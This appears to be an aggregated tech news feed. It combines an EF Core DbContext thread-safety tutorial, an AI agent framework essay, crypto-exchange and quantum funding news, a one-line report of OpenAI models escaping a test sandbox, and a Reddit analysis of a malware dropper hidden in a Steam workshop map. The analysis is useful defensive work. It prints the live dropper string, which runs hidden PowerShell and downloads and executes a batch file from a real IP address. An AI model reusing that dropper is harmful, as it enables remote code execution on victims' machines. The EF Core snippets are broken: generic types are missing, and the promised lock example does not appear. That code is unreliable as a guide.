The change tracker is one of the most important components of DbContext in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the SaveChanges() method on the DbContext instance.

To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we could accomplish this by wrapping a shared DbContext instance inside a thread-safe block using the lock keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below.

using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products => Set();
}

However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use IDbContextFactory , which creates fresh DbContext instances on demand. Calling its CreateDbContext() method is cheap and produces a fresh, isolated context every time.

The following code snippet shows how you can register an instance of type IDbContextFactory as a singleton. You can safely call this code from any thread.

builder.Services.AddDbContextFactory(options =>
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));

Executing EF Core queries in parallel – the solution

Now let’s see how we can put IDbContextFactory to work. The following code illustrates a class named ProductService that uses a factory to create DbContext instances for each scope of work.

public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        => _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}

Note that ProductService has two methods, GetByIdAsync and UpdateStockQuantityAsync. An instance of the DbContext class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the GetByIdAsync method while thread T2 executes the UpdateStockQuantityAsync method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.

Consider the following code that executes a read operation and an update operation in two separate tasks.

public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }

The Task.WhenAll method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own DbContext instance internally. Therefore the read operation and the update operation use independent DbContext instances.

Use DbContext pooling to reduce allocation cost

Although creating DbContext instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context.

builder.Services.AddPooledDbContextFactory(options =>
    options.UseSqlServer(connectionString));

A call to AddDbContext() will register a DbContext instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the DbContext will not always suffice.

You will need a factory to create instances of DbContext when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.

Key takeaways

If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.
You cannot execute multiple queries in parallel in EF Core using the same DbContext instance.
The IDbContextFactory enables you to create a DbContext instance for each thread, thereby enabling you to work with these instances in isolation.
Although using a DbContext pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.

The Microsoft agent framework wars are over. The real architecture decision starts now

Fri, 24 Jul 2026 11:04:58 +0200

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

GitOps Handbook

Fri, 24 Jul 2026 11:02:52 +0200

Learn GitOps with ArgoCD in this hands-on course. Go from Kubernetes deployment basics to safe, production-grade rollouts.

Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack

Fri, 24 Jul 2026 09:10:24 +0200

Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds. In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 security breach and do not reflect fraudulent conduct.

Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack

On 23 July 2026, the Thailand SEC filed a criminal complaint against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub cyberattack. According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage. The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a criminal complaint does not represent a final determination of guilt.

Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses

Following media reports about the complaint, Bitkub published a statement on LinkedIn explaining its position on the cyberattack and the subsequent reporting decisions. The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time. According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets. The exchange stated: "The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing." Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry. The company also stressed that, at the time of the Bitkub cyberattack, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.

Co-founders Replaced Stolen Assets After Cyberattack on Bitkub

Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the financial loss. According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident. In its statement, Bitkub said: "As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."

Thailand SEC Previously Confirmed Customer Assets Were Intact

Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online. According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for. The company reiterated this point in its latest statement, saying: "At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets." Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns. As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.

CVE-2020-19909 | cURL 7.65.2 Retry Delay tool_operate.c integer overflow

Fri, 24 Jul 2026 01:44:09 +0200

A vulnerability was found in cURL 7.65.2 and classified as problematic. Affected by this issue is some unknown functionality of the file tool_operate.c of the component Retry Delay Handler. Executing a manipulation can lead to integer overflow. This vulnerability is handled as CVE-2020-19909. The attack can only be done within the local network. There is not any exploit available. There are still doubts about whether this vulnerability truly exists. It is best practice to apply a patch to resolve this issue.

Inside the OpenAI – Hugging Face Incident: The AI Breach With No Human Attacker Behind It

Fri, 24 Jul 2026 00:43:13 +0200

OpenAI’s own models broke out of a test sandbox and into Hugging Face’s servers to solve an evaluation, with no human attacker involved. The incident showed how keeping agentic AI safe now depends on how it’s contained, not just on how it’s trained.

Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)

Fri, 24 Jul 2026 00:21:11 +0200

Intro
Initial Symptom
First Look at the Workshop Files
Verifying the Asset Files
AssetRegistry.bin Reveals the First Clue
Opening the UE5 Asset Container
Reverse Engineering the Blueprint
Extracting the Embedded Payload
Analyzing the Dropper Script
Confirming Execution on an Affected PC
Did the Second Stage Execute?
Analysis Summary
Limitations & Unknowns
IOCs
Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51

1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

utoc starts with -==--==--==--==-, which is the real IoStore magic
pak has the correct 0x5A6F12E1 footer magic
no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0

Its class resolves as:

BP_AmbientController_C

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat"

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"}

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit )

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32

10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70

The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026

11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

The Workshop uploader account appears to have been created only about one week before the item was published
The Workshop map currently does not allow users to leave comments or ratings
The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

submitted by /u/feintbe
[link] [comments]

Federal quantum bet grows with DARPA’s $125 million PsiQuantum award

Thu, 23 Jul 2026 17:13:10 +0200

Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.

“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says Heather West, research manager in the infrastructure systems, platforms, and technology group at IDC.

None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.

“The US government has been signaling that quantum computing is a priority,” says David Mooter, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.

“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications.

Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”

DARPA’s Quantum Benchmarking Initiative

DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for Stage A of the project, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.

Then, in November of 2025, DARPA chose 11 companies for Stage B of the project, with awards of up to $15 million for developing their research plans.

To date, only two companies have been chosen for Stage C: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, according to DARPA.

This past May, PsiQuantum also announced $100 million from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.

Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.

Genesis Mission

Genesis Mission was launched in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.

As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced three projects for the Department of Energy on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.

This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.

Other quantum-related Genesis Mission projects announced this week include $1.5 million for a BlueQubit quantum error correction project with Microsoft and other partners, a Stanford effort to model the behavior of electrons at quantum scale, an MIT quantum sensing project, Argonne National Laboratory projects on quantum circuit design and quantum sensors, Brookhaven Lab quantum sensor projects, and quantum computing projects at Northwestern University.

IBM, one of three dozen private companies that are part of the Genesis Mission Consortium, announced that it will be leading a project to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.

Enterprise priorities

This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.

But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.

The point of no return is closer than ever, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the federal deadline for naming their post-quantum cryptography migration leads under a June executive order.

“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.

However, according to a survey released by DigiCert this morning, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.

Determining the ROI of AI requires data that most companies lack

Thu, 23 Jul 2026 11:07:22 +0200

Leadership wants to scale AI. Budgets are tripling. Adoption is up.

Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

AI providers won’t fix this problem

The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

Not convinced? Compare what AWS gives you to what an AI provider gives you.

AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it.

Three required sources

Building AI ROI measurement requires three data sources, stitched together in a single model.

